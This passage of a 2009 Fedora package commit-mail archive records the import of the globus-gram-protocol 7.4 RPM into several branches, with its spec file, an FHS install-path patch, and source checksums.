Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-io-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - GRAM Protocol Library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GRAM Protocol Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GRAM Protocol Library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
GRAM Protocol Library Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# This script is intended to be sourced, not executed
chmod 644 $RPM_BUILD_ROOT%{_datadir}/globus/globus-gram-protocol-constants.sh

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
    $GLOBUSPACKAGEDIR/%{_name}/noflavor_data.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{perl_vendorlib}/Globus
%dir %{perl_vendorlib}/Globus/GRAM
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html
%dir %{_docdir}/%{name}-%{version}/perl
%dir %{_docdir}/%{name}-%{version}/perl/Globus
%dir %{_docdir}/%{name}-%{version}/perl/Globus/GRAM

%changelog
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-gram-protocol-7_4-1_fc11:HEAD:globus-gram-protocol-7.4-1.fc11.src.rpm:1255243660


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-protocol/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:15:26 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:48:07 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_gram_protocol-7.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-protocol/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:15:27 -0000	1.1
+++ sources	11 Oct 2009 06:48:08 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+767e7f215133097390b08dce49997fea  globus_gram_protocol-7.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 06:50:16 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 06:50:16 +0000 (UTC)
Subject: rpms/globus-gram-protocol/F-12 globus-gram-protocol.patch, NONE,
	1.1 globus-gram-protocol.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011065016.F3A9A11C029F@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gram-protocol/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20613/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gram-protocol.patch globus-gram-protocol.spec 
	import.log 
Log Message:
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.4-1
- Autogenerated


globus-gram-protocol.patch:
 pkgdata/MyFilelists.pm |   16 +++++++++++++---
 scripts/Makefile.am    |    8 ++++----
 2 files changed, 17 insertions(+), 7 deletions(-)

--- NEW FILE globus-gram-protocol.patch ---
diff -ur globus_gram_protocol-7.4.orig/pkgdata/MyFilelists.pm globus_gram_protocol-7.4/pkgdata/MyFilelists.pm
--- globus_gram_protocol-7.4.orig/pkgdata/MyFilelists.pm	2002-08-08 22:58:36.000000000 +0200
+++ globus_gram_protocol-7.4/pkgdata/MyFilelists.pm	2009-08-05 08:17:05.333218834 +0200
@@ -20,13 +20,19 @@
 sub rtl_files {
   my $self = shift;
   my $result = [];
-  $self->{'filelist'}->flavored_files();
+  $self->{'filelist'}->flavored_files() if defined $self->{'mangling'};
   $self->{'filelist'}->extract_dynamic_libs();
   $self->{'filelist'}->add_package_metadata_files('rtl');
   my $list = $self->{'filelist'}->get_list();
   push @$result, @$list;
   $self->{'filelist'}->reset();
 
+  $self->{'filelist'}->flavored_files() if defined $self->{'mangling'};
+  $self->{'filelist'}->extract_libtool_libs();
+  $list = $self->{'filelist'}->get_list();
+  push @$result, @$list;
+  $self->{'filelist'}->reset();
+
   return $result;
 }
 
@@ -34,15 +40,19 @@
 sub data_files {
   my $self = shift;
   my $result = [];
+
   $self->{'filelist'}->extract_perl_modules();
   $self->{'filelist'}->add_package_metadata_files('data', 'noflavor');
-
   my $list = $self->{'filelist'}->get_list();
   push @$result, @$list;
   $self->{'filelist'}->reset();
 
-  return $result;
+  $self->{'filelist'}->extract_data();
+  $list = $self->{'filelist'}->get_list();
+  push @$result, @$list;
+  $self->{'filelist'}->reset();
 
+  return $result;
 }
 
 1;
diff -ur globus_gram_protocol-7.4.orig/scripts/Makefile.am globus_gram_protocol-7.4/scripts/Makefile.am
--- globus_gram_protocol-7.4.orig/scripts/Makefile.am	2002-08-08 22:58:37.000000000 +0200
+++ globus_gram_protocol-7.4/scripts/Makefile.am	2009-08-05 08:16:26.585305779 +0200
@@ -1,11 +1,11 @@
 include $(top_srcdir)/globus_automake_pre
 
 # Extra directories into which we install files
-globusperldir=$(GLOBUS_LOCATION)/lib/perl/Globus/GRAM
-perldocdir=$(GLOBUS_LOCATION)/share/doc/perl/Globus/GRAM
+globusperldir=$(perlmoduledir)/Globus/GRAM
+perldocdir=$(docdir)/$(PACKAGE)/perl/Globus/GRAM
 
 # Not handled by automake, because of :: in the destination file names
-MAN_DIR=$(GLOBUS_LOCATION)/man/man3
+MAN_DIR=$(mandir)/man3
 
 # What gets installed where
 globusperl_DATA = Error.pm JobSignal.pm JobState.pm
@@ -39,7 +39,7 @@
 # The default filelist-noinstDATA rule will list each of the man pages
 # in the filelist in the root directory. This added dependency will add those
 # files in the correct place as well.
-filelist-noinstDATA: filelist-man
+filelist: filelist-man
 
 filelist-man:
 	@list='$(noinst_DATA)'; for p in $$list; do \


--- NEW FILE globus-gram-protocol.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

%{!?perl_vendorlib: %global perl_vendorlib %(eval "`%{__perl} -V:installvendorlib`"; echo $installvendorlib)}

Name:		globus-gram-protocol
%global _name %(tr - _ <<< %{name})
Version:	7.4
Release:	1%{?dist}
Summary:	Globus Toolkit - GRAM Protocol Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gram/protocol/source globus_gram_protocol-7.4
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gram_protocol-7.4
#		tar -zcf globus_gram_protocol-7.4.tar.gz globus_gram_protocol-7.4
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6815
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
%if %{?fedora}%{!?fedora:0} || %{?rhel}%{!?rhel:0} >= 4
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
%else
Requires:	perl
%endif
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-io-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - GRAM Protocol Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-io-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - GRAM Protocol Library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GRAM Protocol Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GRAM Protocol Library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
GRAM Protocol Library Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# This script is intended to be sourced, not executed
chmod 644 $RPM_BUILD_ROOT%{_datadir}/globus/globus-gram-protocol-constants.sh

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
    $GLOBUSPACKAGEDIR/%{_name}/noflavor_data.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{perl_vendorlib}/Globus
%dir %{perl_vendorlib}/Globus/GRAM
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html
%dir %{_docdir}/%{name}-%{version}/perl
%dir %{_docdir}/%{name}-%{version}/perl/Globus
%dir %{_docdir}/%{name}-%{version}/perl/Globus/GRAM

%changelog
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-gram-protocol-7_4-1_fc11:F-12:globus-gram-protocol-7.4-1.fc11.src.rpm:1255243797


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-protocol/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:15:26 -0000	1.1
+++ .cvsignore	11 Oct 2009 06:50:16 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_gram_protocol-7.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gram-protocol/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:15:27 -0000	1.1
+++ sources	11 Oct 2009 06:50:16 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+767e7f215133097390b08dce49997fea  globus_gram_protocol-7.4.tar.gz



From ellert at fedoraproject.org  Sun Oct 11 06:51:15 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Sun, 11 Oct 2009 06:51:15 +0000 (UTC)
Subject: rpms/globus-gram-protocol/F-11 globus-gram-protocol.patch, NONE,
	1.1 globus-gram-protocol.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011065115.CBF0A11C00EC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gram-protocol/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20989/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gram-protocol.patch globus-gram-protocol.spec 
	import.log 
Log Message:
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 7.4-1
- Autogenerated


globus-gram-protocol.patch:
 pkgdata/MyFilelists.pm |   16 +++++++++++++---
 scripts/Makefile.am    |    8 ++++----
 2 files changed, 17 insertions(+), 7 deletions(-)

--- NEW FILE globus-gram-protocol.patch ---
diff -ur globus_gram_protocol-7.4.orig/pkgdata/MyFilelists.pm globus_gram_protocol-7.4/pkgdata/MyFilelists.pm
--- globus_gram_protocol-7.4.orig/pkgdata/MyFilelists.pm	2002-08-08 22:58:36.000000000 +0200
+++ globus_gram_protocol-7.4/pkgdata/MyFilelists.pm	2009-08-05 08:17:05.333218834 +0200
@@ -20,13 +20,19 @@
 sub rtl_files {
   my $self = shift;
   my $result = [];
-  $self->{'filelist'}->flavored_files();
+  $self->{'filelist'}->flavored_files() if defined $self->{'mangling'};
   $self->{'filelist'}->extract_dynamic_libs();
   $self->{'filelist'}->add_package_metadata_files('rtl');
   my $list = $self->{'filelist'}->get_list();
   push @$result, @$list;
   $self->{'filelist'}->reset();
 
+  $self->{'filelist'}->flavored_files() if defined $self->{'mangling'};
+  $self->{'filelist'}->extract_libtool_libs();
+  $list = $self->{'filelist'}->get_list();
+  push @$result, @$list;
+  $self->{'filelist'}->reset();
+
   return $result;
 }
 
@@ -34,15 +40,19 @@
 sub data_files {
   my $self = shift;
   my $result = [];
+
   $self->{'filelist'}->extract_perl_modules();
   $self->{'filelist'}->add_package_metadata_files('data', 'noflavor');
-
   my $list = $self->{'filelist'}->get_list();
   push @$result, @$list;
   $self->{'filelist'}->reset();
 
-  return $result;
+  $self->{'filelist'}->extract_data();
+  $list = $self->{'filelist'}->get_list();
+  push @$result, @$list;
+  $self->{'filelist'}->reset();
 
+  return $result;
 }
 
 1;
diff -ur globus_gram_protocol-7.4.orig/scripts/Makefile.am globus_gram_protocol-7.4/scripts/Makefile.am
--- globus_gram_protocol-7.4.orig/scripts/Makefile.am	2002-08-08 22:58:37.000000000 +0200
+++ globus_gram_protocol-7.4/scripts/Makefile.am	2009-08-05 08:16:26.585305779 +0200
@@ -1,11 +1,11 @@
 include $(top_srcdir)/globus_automake_pre
 
 # Extra directories into which we install files
-globusperldir=$(GLOBUS_LOCATION)/lib/perl/Globus/GRAM
-perldocdir=$(GLOBUS_LOCATION)/share/doc/perl/Globus/GRAM
+globusperldir=$(perlmoduledir)/Globus/GRAM
+perldocdir=$(docdir)/$(PACKAGE)/perl/Globus/GRAM
 
 # Not handled by automake, because of :: in the destination file names
-MAN_DIR=$(GLOBUS_LOCATION)/man/man3
+MAN_DIR=$(mandir)/man3
 
 # What gets installed where
 globusperl_DATA = Error.pm JobSignal.pm JobState.pm
@@ -39,7 +39,7 @@
 # The default filelist-noinstDATA rule will list each of the man pages
 # in the filelist in the root directory. This added dependency will add those
 # files in the correct place as well.
-filelist-noinstDATA: filelist-man
+filelist: filelist-man
 
 filelist-man:
 	@list='$(noinst_DATA)'; for p in $$list; do \


--- NEW FILE globus-gram-protocol.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

%{!?perl_vendorlib: %global perl_vendorlib %(eval "`%{__perl} -V:installvendorlib`"; echo $installvendorlib)}

Name:		globus-gram-protocol
%global _name %(tr - _ <<< %{name})
Version:	7.4
Release:	1%{?dist}
Summary:	Globus Toolkit - GRAM Protocol Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gram/protocol/source globus_gram_protocol-7.4
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gram_protocol-7.4
#		tar -zcf globus_gram_protocol-7.4.tar.gz globus_gram_protocol-7.4
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6815
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
%if %{?fedora}%{!?fedora:0} || %{?rhel}%{!?rhel:0} >= 4
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
%else
Requires:	perl
%endif
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-io-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - GRAM Protocol Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-io-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - GRAM Protocol Library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GRAM Protocol Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GRAM Protocol Library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
GRAM Protocol Library Documentation Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# This script is intended to be sourced, not executed
chmod 644 $RPM_BUILD_ROOT%{_datadir}/globus/globus-gram-protocol-constants.sh

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
    $GLOBUSPACKAGEDIR/%{_name}/noflavor_data.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
